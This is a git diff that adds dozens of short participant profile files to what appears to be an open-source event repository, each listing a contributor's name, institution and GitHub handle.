of file diff --git a/content/participant/harshitsharma18.md b/content/participant/harshitsharma18.md new file mode 100644 index 00000000000..8ecbf43850f --- /dev/null +++ b/content/participant/harshitsharma18.md @@ -0,0 +1,5 @@ +--- +name: Harshit Sharma +institution/company: Delhi Technological University +github: HARSHITSHARMA18 +--- \ No newline at end of file diff --git a/content/participant/harshkumar0077.md b/content/participant/harshkumar0077.md new file mode 100644 index 00000000000..483e564f110 --- /dev/null +++ b/content/participant/harshkumar0077.md @@ -0,0 +1,5 @@ +--- +name: Harsh Kumar +institution/company: Netaji Subhas University of Technology, New Delhi +github: harshkumar0077 +--- \ No newline at end of file diff --git a/content/participant/hasanfirnas.md b/content/participant/hasanfirnas.md new file mode 100644 index 00000000000..d78a8cb523d --- /dev/null +++ b/content/participant/hasanfirnas.md @@ -0,0 +1,5 @@ +--- +name: Hasan Firnas I +institution/company: Sathyabama University +github:hasanfirnas +--- diff --git a/content/participant/hasirm.md b/content/participant/hasirm.md new file mode 100644 index 00000000000..6c187b194eb --- /dev/null +++ b/content/participant/hasirm.md @@ -0,0 +1,5 @@ +--- +name: Hasir Ahmad +institution/company: Eterio Developers +github:hasirm +--- diff --git a/content/participant/haz-95.md b/content/participant/haz-95.md new file mode 100644 index 00000000000..655d8688917 --- /dev/null +++ b/content/participant/haz-95.md @@ -0,0 +1,5 @@ +--- +name: hazyyy +institution/company: IITB +github:haz-95 +--- diff --git a/content/participant/hem-318.md b/content/participant/hem-318.md new file mode 100644 index 00000000000..240066192ab --- /dev/null +++ b/content/participant/hem-318.md @@ -0,0 +1,5 @@ +--- +name: Hem +institution/company: SRM KTR +github:hem-318 +--- diff --git a/content/participant/hemant.md b/content/participant/hemant.md new file mode 100644 index 00000000000..08dd086cd3c --- /dev/null +++ b/content/participant/hemant.md @@ -0,0 +1,5 @@ +--- +name: Hemant +institution: Guru Gobind Singh Indraprastha University +github: hemant2801 +--- diff --git a/content/participant/heshanu.md b/content/participant/heshanu.md new file mode 100644 index 00000000000..688ac2795c7 --- /dev/null +++ b/content/participant/heshanu.md @@ -0,0 +1,5 @@ +--- +name: K T Heshan Umayanga +institution/company: University of Vocational Technology Ratmalana +github: heshanu +--- \ No newline at end of file diff --git a/content/participant/hithisisat b/content/participant/hithisisat new file mode 100644 index 00000000000..7a3ea7c67c6 --- /dev/null +++ b/content/participant/hithisisat @@ -0,0 +1,5 @@ +--- +name: Akash +institution/company: Infosys +github:hithisisat +--- diff --git a/content/participant/hparihar-07.md b/content/participant/hparihar-07.md new file mode 100644 index 00000000000..6b7ab57410a --- /dev/null +++ b/content/participant/hparihar-07.md @@ -0,0 +1,18 @@ +--- +# Harash Parihar + +### Location + +Jammu and Kashmir + +### Interests + +- Web3 & Blockchain ⛓️ +- Auditing +- Machine Learning +- Web Development +- Anime + +### Profile Link + +Go to profile [hparihar-07](https://github.com/hparihar-07/) diff --git a/content/participant/i-am-chirantan.md b/content/participant/i-am-chirantan.md new file mode 100644 index 00000000000..45d4e9dbf3b --- /dev/null +++ b/content/participant/i-am-chirantan.md @@ -0,0 +1,7 @@ + +--- +name: Chirantan Acharyya +institution/company: Bengal Institue of Technology,kolkata,India +github: i-am-chirantan + +--- diff --git a/content/participant/iamchandra-3.md b/content/participant/iamchandra-3.md new file mode 100644 index 00000000000..132ecbdb25e --- /dev/null +++ b/content/participant/iamchandra-3.md @@ -0,0 +1,5 @@ +--- +name: Chandra Sekhar Vinnakmota +institution/company: SRM University +github: iamchandra-3 +--- \ No newline at end of file diff --git a/content/participant/iamwatchdogs.md b/content/participant/iamwatchdogs.md new file mode 100644 index 00000000000..10641716d2c --- /dev/null +++ b/content/participant/iamwatchdogs.md @@ -0,0 +1,5 @@ +--- +name: Shamith +institution/company: Self +github: iamwatchdogs +--- diff --git a/content/participant/iathul.md b/content/participant/iathul.md new file mode 100644 index 00000000000..6d5810b941d --- /dev/null +++ b/content/participant/iathul.md @@ -0,0 +1,5 @@ +--- +name: Athul Joy +institution/company: Lightrains Technolabs Pvt Ltd +github: iathul +--- diff --git a/content/participant/ighoshsubho.md b/content/participant/ighoshsubho.md new file mode 100644 index 00000000000..24e8ab16215 --- /dev/null +++ b/content/participant/ighoshsubho.md @@ -0,0 +1,5 @@ +--- +name: Subho Ghosh +institution/company: Heritage Institute Of Technology +github: ighoshsubho +--- \ No newline at end of file diff --git a/content/participant/irfana.md b/content/participant/irfana.md new file mode 100644 index 00000000000..0cab29450d0 --- /dev/null +++ b/content/participant/irfana.md @@ -0,0 +1,5 @@ +--- +name: Irfana fasila.k +institution/company: Emea college of arts and sciene,kondotty,malappuram,kerala +github:irfana140 +--- \ No newline at end of file diff --git a/content/participant/irfansaputro.md b/content/participant/irfansaputro.md new file mode 100644 index 00000000000..0a51285854e --- /dev/null +++ b/content/participant/irfansaputro.md @@ -0,0 +1,5 @@ +--- +name: Irfan Saputro +institution/company: Freelance +github:IrfanSaputro +--- \ No newline at end of file diff --git a/content/participant/ishaan191220 b/content/participant/ishaan191220 new file mode 100644 index 00000000000..0b3c09fe553 --- /dev/null +++ b/content/participant/ishaan191220 @@ -0,0 +1 @@ +Added my name diff --git a/content/participant/ishabhthakur.md b/content/participant/ishabhthakur.md index ebcbb9c0b51..984c05cd341 100644 --- a/content/participant/ishabhthakur.md +++ b/content/participant/ishabhthakur.md @@ -1,5 +1,5 @@ ---- -name: ishabhthakur -institution: Bhilai Institute of Technology,Durg -github: github.com/ishabhthakur ---- +--- +name: ishabhthakur +institution: Bhilai Institute of Technology,Durg +github: github.com/ishabhthakur +--- diff --git a/content/participant/ishansingh07.md b/content/participant/ishansingh07.md new file mode 100644 index 00000000000..81ff699eb28 --- /dev/null +++ b/content/participant/ishansingh07.md @@ -0,0 +1,5 @@ +--- +name: Ishan Singh +institution/company: NIT,Rourkela +github: ishansingh07 +--- diff --git a/content/participant/ishubhamparmar.md b/content/participant/ishubhamparmar.md new file mode 100644 index 00000000000..4ddd8373805 --- /dev/null +++ b/content/participant/ishubhamparmar.md @@ -0,0 +1,5 @@ +--- +name: Shubham Parmar +institution: Lakshmi Narain College of Technology. +github: ishubhamparmar +--- diff --git a/content/participant/itsimmad.md b/content/participant/itsimmad.md new file mode 100644 index 00000000000..1087c183359 --- /dev/null +++ b/content/participant/itsimmad.md @@ -0,0 +1,5 @@ +--- +name: Immad +institution/company: Iqra University +github:itsimmad +--- diff --git a/content/participant/itsprajwal007.md b/content/participant/itsprajwal007.md new file mode 100644 index 00000000000..d921452feb8 --- /dev/null +++ b/content/participant/itsprajwal007.md @@ -0,0 +1,5 @@ +--- +name: Prajwal Gaikwad +institution/company: Shivaji Science College +github:itsprajwal007 +--- \ No newline at end of file diff --git a/content/participant/izumicypherx.md b/content/participant/izumicypherx.md new file mode 100644 index 00000000000..8e43d902c55 --- /dev/null +++ b/content/participant/izumicypherx.md @@ -0,0 +1,5 @@ +--- +name: Sidhartha Rao +institution/company: None +github:izumicypherx +--- diff --git a/content/participant/jackelinenascimento.md b/content/participant/jackelinenascimento.md new file mode 100644 index 00000000000..05eb1346881 --- /dev/null +++ b/content/participant/jackelinenascimento.md @@ -0,0 +1,5 @@ +--- +name: Jackeline do Nascimento +institution: Student +github: jackelinenascimento +--- diff --git a/content/participant/jainbhavit2018.md b/content/participant/jainbhavit2018.md new file mode 100644 index 00000000000..945b92f404c --- /dev/null +++ b/content/participant/jainbhavit2018.md @@ -0,0 +1,5 @@ +--- +name: BHAVIT JAIN +institution/company: DELHI TECHNOLOGICAL UNIVERSITY +github: jainbhavit2018 +--- diff --git a/content/participant/jalebium69.md b/content/participant/jalebium69.md new file mode 100644 index 00000000000..2646f39bb1a --- /dev/null +++ b/content/participant/jalebium69.md @@ -0,0 +1,5 @@ +--- +name: jalebium69 +institution/company: VITCC +github:jalebium69 +--- diff --git a/content/participant/jayanpahuja20.md b/content/participant/jayanpahuja20.md new file mode 100644 index 00000000000..8509bfa36f3 --- /dev/null +++ b/content/participant/jayanpahuja20.md @@ -0,0 +1,5 @@ +--- +name: Jayan Pahuja +institution/company: Indraprastha Institute of Information Technology, Delhi +github: jayanpahuja20 +--- \ No newline at end of file diff --git a/content/participant/jc8223.md b/content/participant/jc8223.md new file mode 100644 index 00000000000..4adcc3a1b37 --- /dev/null +++ b/content/participant/jc8223.md @@ -0,0 +1,5 @@ +--- +name: Jatin Kumar Gupta +institution/company: SRM INSTITUTE OF SCIENCE AND TECHNOLOGY +github: jc8223 +--- diff --git a/content/participant/jhonatasmatos.md b/content/participant/jhonatasmatos.md new file mode 100644 index 00000000000..ac2fe42775f --- /dev/null +++ b/content/participant/jhonatasmatos.md @@ -0,0 +1,5 @@ +--- +name: JHONATAS MATOS +institution/company: NEXT Enginnering +github:jhonatasmatos +--- \ No newline at end of file diff --git a/content/participant/jinx.md b/content/participant/jinx.md new file mode 100644 index 00000000000..b8728ae6dc7 --- /dev/null +++ b/content/participant/jinx.md @@ -0,0 +1,5 @@ +--- +name: JINX +institution/company: SNMIMT +github: Jince-Francis +--- diff --git a/content/participant/joao-oliveira.md b/content/participant/joao-oliveira.md new file mode 100644 index 00000000000..a39fa07f441 --- /dev/null +++ b/content/participant/joao-oliveira.md @@ -0,0 +1,5 @@ +--- +name: Joao Oliveira +institution/company: Smart NX +github: J0a00liveira +--- \ No newline at end of file diff --git a/content/participant/john121904.md b/content/participant/john121904.md new file mode 100644 index 00000000000..7bda18a2abb --- /dev/null +++ b/content/participant/john121904.md @@ -0,0 +1,5 @@ +--- +name: John Marcial +institution/company: Silliman University/PGSI +github: john121904 +--- diff --git a/content/participant/jonesabino.md b/content/participant/jonesabino.md new file mode 100644 index 00000000000..fb61d066609 --- /dev/null +++ b/content/participant/jonesabino.md @@ -0,0 +1,5 @@ +--- +name: Jones Sabino +institution/company: d.dev +github: JoneSabino +--- \ No newline at end of file diff --git a/content/participant/joyjeetcoding.md b/content/participant/joyjeetcoding.md new file mode 100644 index 00000000000..397ffeda387 --- /dev/null +++ b/content/participant/joyjeetcoding.md @@ -0,0 +1,7 @@ +Name:- Joyjeet Mukherjee + + +College Name:- Asansol Engineering College + + +Github name:- joyjeetcoding diff --git a/content/participant/jusinamine.md b/content/participant/jusinamine.md new file mode 100644 index 00000000000..e748b77820c --- /dev/null +++ b/content/participant/jusinamine.md @@ -0,0 +1,5 @@ +--- +name: amine benkorreche +institution/company: Hyproc s.c +github:jusinamine +--- diff --git a/content/participant/jyotishmoy.md b/content/participant/jyotishmoy.md new file mode 100644 index 00000000000..080af2f56f0 --- /dev/null +++ b/content/participant/jyotishmoy.md @@ -0,0 +1,11 @@ +- 👋 Hi, I’m @Jyotishmoy365 +- 👀 I’m interested in Learn Coding & Explore Internet +- 🌱 I’m currently learning Linux & Web development +- 💞️ I’m looking to collaborate on ... +- 📫 How to reach me to become a web developer + + + diff --git a/content/participant/k0ustav.md b/content/participant/k0ustav.md new file mode 100644 index 00000000000..be7a68b79aa --- /dev/null +++ b/content/participant/k0ustav.md @@ -0,0 +1,5 @@ +--- +name: KOUSTAV SAHA +institution/company: RCCIIT +github:k0ustav +--- diff --git a/content/participant/k4350.md b/content/participant/k4350.md new file mode 100644 index 00000000000..05ab8f563e3 --- /dev/null +++ b/content/participant/k4350.md @@ -0,0 +1,5 @@ +--- +name: Kaushik Baruah +institution/company: Kaziranga University +github: https://github.com/K4350 +--- \ No newline at end of file diff --git a/content/participant/kabir-singh-mehrok.md b/content/participant/kabir-singh-mehrok.md new file mode 100644 index 00000000000..9be2a417f0f --- /dev/null +++ b/content/participant/kabir-singh-mehrok.md @@ -0,0 +1,2 @@ +# Participant Info +Name - Kabir Singh Mehrok diff --git a/content/participant/kalamell.md b/content/participant/kalamell.md new file mode 100644 index 00000000000..ccfe60bc7ba --- /dev/null +++ b/content/participant/kalamell.md @@ -0,0 +1,5 @@ +--- +name: Bundit Sankhumpha +institution/company: ISOBAR (Thailand) +github: kalamell +--- \ No newline at end of file diff --git a/content/participant/kanishk.md b/content/participant/kanishk.md new file mode 100644 index 00000000000..3149932cc78 --- /dev/null +++ b/content/participant/kanishk.md @@ -0,0 +1,5 @@ +--- +name: Kanishk Tyagi +institution/company: UIET Chandigarh +github: Kanishk0412 +--- \ No newline at end of file diff --git a/content/participant/kanishkguptagit.md b/content/participant/kanishkguptagit.md new file mode 100644 index 00000000000..ea17f3ff1d7 --- /dev/null +++ b/content/participant/kanishkguptagit.md @@ -0,0 +1,5 @@ +--- +name: Flux +institution/company: Gwalior Institute +github: kanishkguptagit +--- diff --git a/content/participant/karamveer.md b/content/participant/karamveer.md new file mode 100644 index 00000000000..9e72134c490 --- /dev/null +++ b/content/participant/karamveer.md @@ -0,0 +1,2 @@ +Name - Karamveer Singh GitHub- kzaildar26 College- Thapar Institute, +Patiala diff --git a/content/participant/karanjot786.md b/content/participant/karanjot786.md new file mode 100644 index 00000000000..59f6ae9f831 --- /dev/null +++ b/content/participant/karanjot786.md @@ -0,0 +1,23 @@ +--- +# Karanjot Singh Dulay + +### Location + +Punjab/India + +### Interests + +JS +Python +Django +Reactjs +Nextjs + +### Projects + + +- [coderscore](https://github.com/Karanjot786/coderscore) + +### Profile Link + +Go to profile [Karanjot786](https://github.com/Karanjot786/) \ No newline at end of file diff --git a/content/participant/karthik558.md b/content/participant/karthik558.md new file mode 100644 index 00000000000..af68c2b2cf7 --- /dev/null +++ b/content/participant/karthik558.md @@ -0,0 +1,5 @@ +--- +name: Karthik Lal +institution/company: The Paul Resorts and Hotels Pvt Ltd +github: karthik558 +--- diff --git a/content/participant/karthikk1006.md b/content/participant/karthikk1006.md new file mode 100644 index 00000000000..0274b1cf29c --- /dev/null +++ b/content/participant/karthikk1006.md @@ -0,0 +1,6 @@ +--- +name: Karthik Krishna +country: India +institution/company: College of Engineering,Guindy(AU-CEG) +interests: Web development, cloud, open-source +github: https://github.com/karthikk1006 diff --git a/content/participant/kaylanelira.md b/content/participant/kaylanelira.md new file mode 100644 index 00000000000..c3fade9e12e --- /dev/null +++ b/content/participant/kaylanelira.md @@ -0,0 +1,3 @@ +name: Kaylane Lira +institution/company: UFPE +github: kaylanelira \ No newline at end of file diff --git a/content/participant/kesharkaranth.md b/content/participant/kesharkaranth.md new file mode 100644 index 00000000000..221243d3989 --- /dev/null +++ b/content/participant/kesharkaranth.md @@ -0,0 +1,3 @@ +name: Keshav R Karanth +institution/company: Vaultedge +github:keshavrkaranth \ No newline at end of file diff --git a/content/participant/keshav-guptaa.md b/content/participant/keshav-guptaa.md new file mode 100644 index 00000000000..a7d345b162d --- /dev/null +++ b/content/participant/keshav-guptaa.md @@ -0,0 +1,5 @@ +--- +name: Keshav Gupta +institution: IIIT Allahabad +github: keshav-guptaa +--- diff --git a/content/participant/khatri7.md b/content/participant/khatri7.md new file mode 100644 index 00000000000..6227ca5dce6 --- /dev/null +++ b/content/participant/khatri7.md @@ -0,0 +1,5 @@ +--- +name: ABHISHEK KHATRI +institution/company: STEVENS INSTITUTE OF TECHNOLOGY +github: khatri7 +--- \ No newline at end of file diff --git a/content/participant/khushi.md b/content/participant/khushi.md deleted file mode 100644 index c9c2a9227f0..00000000000 --- a/content/participant/khushi.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -name: Khushi Saini -institution/company: Amity University -github: Khushi-dev-1822 ---- \ No newline at end of file diff --git a/content/participant/khushi10000.md b/content/participant/khushi10000.md new file mode 100644 index 00000000000..7bb2e21b062 --- /dev/null +++ b/content/participant/khushi10000.md @@ -0,0 +1,2 @@ +name: khushi +github:khushi10000 diff --git a/content/participant/kibergrad.md b/content/participant/kibergrad.md new file mode 100644 index 00000000000..3d059e24a0d --- /dev/null +++ b/content/participant/kibergrad.md @@ -0,0 +1,5 @@ +--- +name: kibergrad +institution/company: Harvard University +github: kibergrad +--- diff --git a/content/participant/kiraplenkin.md b/content/participant/kiraplenkin.md new file mode 100644 index 00000000000..550b788b7a3 --- /dev/null +++ b/content/participant/kiraplenkin.md @@ -0,0 +1,3 @@ +name: Stroganov Kirill +institution/company: Russian Standard Bank +github: kiraplenkins \ No newline at end of file diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/__init__.py b/content/participant/kondapalli19.md similarity index 100% rename from Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/__init__.py rename to content/participant/kondapalli19.md diff --git a/content/participant/krishi-jain21.md b/content/participant/krishi-jain21.md new file mode 100644 index 00000000000..b8fb6ae1b82 --- /dev/null +++ b/content/participant/krishi-jain21.md @@ -0,0 +1,5 @@ +--- +name: KRISHI JAIN +institution/company: ADITYA_ENGINEERING_COLLEGE +github: krishi-jain21 +--- \ No newline at end of file diff --git a/content/participant/krishkatyal.md b/content/participant/krishkatyal.md new file mode 100644 index 00000000000..a181101799b --- /dev/null +++ b/content/participant/krishkatyal.md @@ -0,0 +1,5 @@ +--- +name: Krish katyal +institution/company: SRM uni +github: krishkatyal +--- diff --git a/content/participant/kritikataank.md b/content/participant/kritikataank.md new file mode 100644 index 00000000000..60a60bf1f3b --- /dev/null +++ b/content/participant/kritikataank.md @@ -0,0 +1,5 @@ +--- +name: Kritika Taank +institution/company: Sri Venkateshwara College of Engineering +github: kritikataank +--- diff --git a/content/participant/krrishexe.md b/content/participant/krrishexe.md new file mode 100644 index 00000000000..90637aa5faf --- /dev/null +++ b/content/participant/krrishexe.md @@ -0,0 +1,5 @@ +--- +name: Krish Yadav +institution/company: Lovely Professional University +github: krrishexe +--- diff --git a/content/participant/kshivam654.md b/content/participant/kshivam654.md new file mode 100644 index 00000000000..5fe2bb4cdd5 --- /dev/null +++ b/content/participant/kshivam654.md @@ -0,0 +1,5 @@ +--- +name: Kumar Shivam +comapny: Deloitte USI +github: kshivam654 +--- diff --git a/content/participant/kunalpanigrahi.md b/content/participant/kunalpanigrahi.md new file mode 100644 index 00000000000..e217462b887 --- /dev/null +++ b/content/participant/kunalpanigrahi.md @@ -0,0 +1,5 @@ +--- +name: Kunal Panigrahi +institution/company: Kalinga Institute of Industrial Technology +github: Kunalpanigrahi03 +--- diff --git a/content/participant/kushank.md b/content/participant/kushank.md new file mode 100644 index 00000000000..4c5efa99983 --- /dev/null +++ b/content/participant/kushank.md @@ -0,0 +1,5 @@ +--- +Name: Kushank Singh +institution/company: University of Florida +github: kushank1207 +--- \ No newline at end of file diff --git a/content/participant/labmakers.md b/content/participant/labmakers.md new file mode 100644 index 00000000000..84c9fad90e9 --- /dev/null +++ b/content/participant/labmakers.md @@ -0,0 +1,5 @@ +--- +name: Lab Maker +institution/company: Terminal +github: labmakers +--- diff --git a/content/participant/lagopodous72.md b/content/participant/lagopodous72.md new file mode 100644 index 00000000000..a6576d278eb --- /dev/null +++ b/content/participant/lagopodous72.md @@ -0,0 +1,5 @@ +--- +name: Lagopodous +institution/company: Delhi Technological University +github: lagopodous72 +--- \ No newline at end of file diff --git a/content/participant/lakshay-chauhan.md b/content/participant/lakshay-chauhan.md new file mode 100644 index 00000000000..ed27fe5e388 --- /dev/null +++ b/content/participant/lakshay-chauhan.md @@ -0,0 +1,29 @@ +# Lakshay Chauhan + +### Location + +New Delhi India + +### Academics + +3rd year Undergrad IT Student, Maharaja Surajmal Institute of Technology, New Delhi, India + +### Interests + +- Web Development +- Machine Learning + +### Tech familiar with +- C/C++, Java, Python +- HTML, CSS, JavaScript, React +- Node, Express, MongoDB +- Git and GitHub + +### Projects + +[LeetCode Comparator](https://imlakshaychauhan.github.io/leetcode-comparator/) - LeetCode Comparator for comparing 2 profiles. + +### Coding Profile Links + +[imlakshaychauhan(GitHub)](https://github.com/imlakshaychauhan) +[elevated(LeetCode)](https://leetcode.com/elevated) \ No newline at end of file diff --git a/content/participant/lata-11.md b/content/participant/lata-11.md new file mode 100644 index 00000000000..6db2a17fbdf --- /dev/null +++ b/content/participant/lata-11.md @@ -0,0 +1,5 @@ +--- +Name: Lata +institution/company: ABV-IIITM, Gwalior +github: https://github.com/lata-11 +--- \ No newline at end of file diff --git a/content/participant/lelefolkl.md b/content/participant/lelefolkl.md new file mode 100644 index 00000000000..90f4c28b33d --- /dev/null +++ b/content/participant/lelefolkl.md @@ -0,0 +1,5 @@ +--- +name: Alexandre Folkl +institution/company: Controloca +github: lelefolkl +--- diff --git a/content/participant/lesley-nicole.md b/content/participant/lesley-nicole.md new file mode 100644 index 00000000000..f27ca413d6f --- /dev/null +++ b/content/participant/lesley-nicole.md @@ -0,0 +1,5 @@ +--- +name: Lesley +institution/company: Lesley_Z +github: lesley-nicole +--- \ No newline at end of file diff --git a/content/participant/liketomove.md b/content/participant/liketomove.md new file mode 100644 index 00000000000..60f31144c18 --- /dev/null +++ b/content/participant/liketomove.md @@ -0,0 +1,5 @@ +--- +name: Gipi Scioni +institution/company: Axelerant, IT +github: liketomove +--- \ No newline at end of file diff --git a/content/participant/lingsv.md b/content/participant/lingsv.md new file mode 100644 index 00000000000..616979988aa --- /dev/null +++ b/content/participant/lingsv.md @@ -0,0 +1,5 @@ +--- +name: Ana Carolina Gomes +institution/company: FATEC São Caetano do Sul/ SP - Brasil +github: lingsv +--- \ No newline at end of file diff --git a/content/participant/linuxmobile.md b/content/participant/linuxmobile.md new file mode 100644 index 00000000000..1039717833b --- /dev/null +++ b/content/participant/linuxmobile.md @@ -0,0 +1,5 @@ +--- +name: L I N U X ( リナックス ) +institution/company: Codemars +github: linuxmobile +--- diff --git a/content/participant/lokeshsingh3721.md b/content/participant/lokeshsingh3721.md new file mode 100644 index 00000000000..88a1afeb9eb --- /dev/null +++ b/content/participant/lokeshsingh3721.md @@ -0,0 +1,5 @@ +--- +name: Lokesh Singh +institution/company: echelon institute of technology +github: lokeshsingh3721 +--- diff --git a/content/participant/lsgdefault.md b/content/participant/lsgdefault.md new file mode 100644 index 00000000000..4675ec28dd3 --- /dev/null +++ b/content/participant/lsgdefault.md @@ -0,0 +1,5 @@ +--- +name: Kaivalya Ahir +institution/company: Pandit Deendayal Energy University (PDEU) +github: lsgdefault +--- \ No newline at end of file diff --git a/content/participant/m-messiah.md b/content/participant/m-messiah.md new file mode 100644 index 00000000000..fa37e1c8376 --- /dev/null +++ b/content/participant/m-messiah.md @@ -0,0 +1,5 @@ +--- +name: Maxim Muzafarov +Profession: SRE +github: m-messiah +--- diff --git a/content/participant/mahrukh.md b/content/participant/mahrukh.md new file mode 100644 index 00000000000..9cf715a07ee --- /dev/null +++ b/content/participant/mahrukh.md @@ -0,0 +1,5 @@ +--- +name: mahrukh khan +institution: NUML +github: github.com/Suga7772 +--- diff --git a/content/participant/manishkumart.md b/content/participant/manishkumart.md new file mode 100644 index 00000000000..5e9c553e670 --- /dev/null +++ b/content/participant/manishkumart.md @@ -0,0 +1,5 @@ +--- +name: Thota Manish Kumar +Company: Stryker +github: manishkumart +--- diff --git a/content/participant/manishsyal.md b/content/participant/manishsyal.md new file mode 100644 index 00000000000..4c9c5439f43 --- /dev/null +++ b/content/participant/manishsyal.md @@ -0,0 +1,5 @@ +--- +name: Syal Manish Balkrishan +institution: Dr. Vithalrao Vikhe Patil, Ahmednagar +github: Manish-Syal123 +--- diff --git a/content/participant/manuelachamoso.md b/content/participant/manuelachamoso.md new file mode 100644 index 00000000000..cd6097ad088 --- /dev/null +++ b/content/participant/manuelachamoso.md @@ -0,0 +1,5 @@ +--- +name: Manuela Chamoso +institution/company: Universidad Internacional de Valencia +github: https://github.com/manuelachamoso +--- \ No newline at end of file diff --git a/content/participant/mark-git07.md b/content/participant/mark-git07.md new file mode 100644 index 00000000000..7300e473924 --- /dev/null +++ b/content/participant/mark-git07.md @@ -0,0 +1,5 @@ +--- +name: Mark Lyndon +institution/company: None +github:mark-git07 +--- \ No newline at end of file diff --git a/content/participant/martametelska.md b/content/participant/martametelska.md new file mode 100644 index 00000000000..2d8cc4fc2ad --- /dev/null +++ b/content/participant/martametelska.md @@ -0,0 +1,5 @@ +--- +name: Marta +institution/company: SGH +github: martametelska +--- \ No newline at end of file diff --git a/content/participant/matek075.md b/content/participant/matek075.md new file mode 100644 index 00000000000..e1378c878a8 --- /dev/null +++ b/content/participant/matek075.md @@ -0,0 +1,30 @@ +# Mateusz Majka + +### Hi there 👋 + +

    +
    + +### Location + +Cracov, Poland + +### Interests + +- traveling +- cooking +- startups + +

    Connect with me:

    +aayan srivastava +| +reckit075 + +### Profile Link + +[My Github profile](https://github.com/matek075) + +[My Dev.to profile](https://dev.to/matek075) + +### Profile views +

    matek075

    \ No newline at end of file diff --git a/content/participant/mdzeeshan.md b/content/participant/mdzeeshan.md new file mode 100644 index 00000000000..582abd3c41a --- /dev/null +++ b/content/participant/mdzeeshan.md @@ -0,0 +1,5 @@ +--- +name: MD ZEESHAN +institution/company: Heritage Insititute of Technology Kolkata +github: mdzeeshan-2 +--- \ No newline at end of file diff --git a/content/participant/meetp90.md b/content/participant/meetp90.md new file mode 100644 index 00000000000..687ef36ba64 --- /dev/null +++ b/content/participant/meetp90.md @@ -0,0 +1,5 @@ +--- +name: Meet Pithadia +institution/company: Dwarkadas J. Sanghvi College of Engineering +github:https://github.com/meetp90 +--- diff --git a/content/participant/mgumber909 b/content/participant/mgumber909 new file mode 100644 index 00000000000..d504439f2f0 --- /dev/null +++ b/content/participant/mgumber909 @@ -0,0 +1,5 @@ +--- +name: Mohit Gumber +institution/company: KLE TECHNOLOGICAL UNIVERSITY +github:mgumber909 +--- diff --git a/content/participant/mherzog4.md b/content/participant/mherzog4.md new file mode 100644 index 00000000000..0eeb4c1b4f2 --- /dev/null +++ b/content/participant/mherzog4.md @@ -0,0 +1,4 @@ +--- +name: Matt Herzog +github: mherzog4 +--- \ No newline at end of file diff --git a/content/participant/miharajster.md b/content/participant/miharajster.md new file mode 100644 index 00000000000..d4ab1530b3a --- /dev/null +++ b/content/participant/miharajster.md @@ -0,0 +1,5 @@ +--- +name: RAjster Miha +institution/company: Lumnium +github: miharajster +--- diff --git a/content/participant/miraz-mondal.md b/content/participant/miraz-mondal.md new file mode 100644 index 00000000000..12f4c75ccd4 --- /dev/null +++ b/content/participant/miraz-mondal.md @@ -0,0 +1,5 @@ +--- +name: Miraz Mondal +institution/company: Future Institute of Engineering and Management +github: miraz-mondal +--- \ No newline at end of file diff --git a/content/participant/mirfa.md b/content/participant/mirfa.md new file mode 100644 index 00000000000..c82e35f5001 --- /dev/null +++ b/content/participant/mirfa.md @@ -0,0 +1,5 @@ +--- +name: Mirfa +institution: EMEA arts and science college, Kondotty +github: mirfa695(https://github.com/mirfa695) +--- diff --git a/content/participant/miswaryousuft.md b/content/participant/miswaryousuft.md new file mode 100644 index 00000000000..66ffd4d473d --- /dev/null +++ b/content/participant/miswaryousuft.md @@ -0,0 +1,5 @@ +--- +name: MISWAR YOUSUF +institution/company: UOH +github:miswaryousuft +--- diff --git a/content/participant/mkhy.md b/content/participant/mkhy.md new file mode 100644 index 00000000000..cbf83c9256f --- /dev/null +++ b/content/participant/mkhy.md @@ -0,0 +1,5 @@ +--- +Name: Mohamed Khaled Yousef +Institution: Freelance +github: this-mkhy +--- diff --git a/content/participant/mohak.md b/content/participant/mohak.md new file mode 100644 index 00000000000..3d2beb13ce5 --- /dev/null +++ b/content/participant/mohak.md @@ -0,0 +1,5 @@ +--- +name: Mohak Singhania +institution/company: School of Data Science and Forecasting , DAVV , Indore , Madhya Pradesh +github: OnEPhEoNiX +--- \ No newline at end of file diff --git a/content/participant/mohanverse b/content/participant/mohanverse new file mode 100644 index 00000000000..040f17becb6 --- /dev/null +++ b/content/participant/mohanverse @@ -0,0 +1,24 @@ +@@ -0,0 +1,23 @@ +--- +# Mohan Kumar Chaudhary + +### Location + +bhopal/India + +### Interests + +js +node js +expres.js +Reactjs +Nextjs + +### Projects + + +- [coderscore](https://github.com/mohanverse/bookstore) + +### Profile Link + +Go to profile [https://github.com/mohanverse) diff --git a/content/participant/mohithsairamreddy.md b/content/participant/mohithsairamreddy.md new file mode 100644 index 00000000000..d99b96cafe9 --- /dev/null +++ b/content/participant/mohithsairamreddy.md @@ -0,0 +1,3 @@ +name: Mohith +institution/company: Amrita Vishwa Vidhyapeetam +github:mohithsairamreddy \ No newline at end of file diff --git a/content/participant/mokshablr.md b/content/participant/mokshablr.md new file mode 100644 index 00000000000..9396b04c832 --- /dev/null +++ b/content/participant/mokshablr.md @@ -0,0 +1,5 @@ +--- +name: Mokshablr +institution/company: College +github:mokshablr +--- \ No newline at end of file diff --git a/content/participant/moomdate.md b/content/participant/moomdate.md new file mode 100644 index 00000000000..d860db0e20b --- /dev/null +++ b/content/participant/moomdate.md @@ -0,0 +1,5 @@ +--- +name: moomdate +institution/company: moomdate.inc +github: moomdate +--- diff --git a/content/participant/mr-cp.md b/content/participant/mr-cp.md new file mode 100644 index 00000000000..a28cc530cf1 --- /dev/null +++ b/content/participant/mr-cp.md @@ -0,0 +1,5 @@ + --- + name: Rishad + institution: SELF_STACK + github: mr-cp + --- diff --git a/content/participant/mrkanet.md b/content/participant/mrkanet.md new file mode 100644 index 00000000000..0eb1f51373a --- /dev/null +++ b/content/participant/mrkanet.md @@ -0,0 +1,5 @@ +--- +name: Eyüp Kaan AKAY +institution/company: MRK Software +github:mrkanet +--- \ No newline at end of file diff --git a/content/participant/msidiqh991.md b/content/participant/msidiqh991.md new file mode 100644 index 00000000000..974731ffc32 --- /dev/null +++ b/content/participant/msidiqh991.md @@ -0,0 +1,5 @@ +--- +name: Muhammad Sidiq Hardiansyah +institution/company: Ahmad Dahlan University +github:msidiqh991 +--- diff --git a/content/participant/muhammad-mobeen.md b/content/participant/muhammad-mobeen.md new file mode 100644 index 00000000000..6f9e0f8e77c --- /dev/null +++ b/content/participant/muhammad-mobeen.md @@ -0,0 +1,5 @@ +--- +name: Muhammad Mobeen +institution/company: Institute of Space Technology +github:muhammad-mobeen +--- \ No newline at end of file diff --git 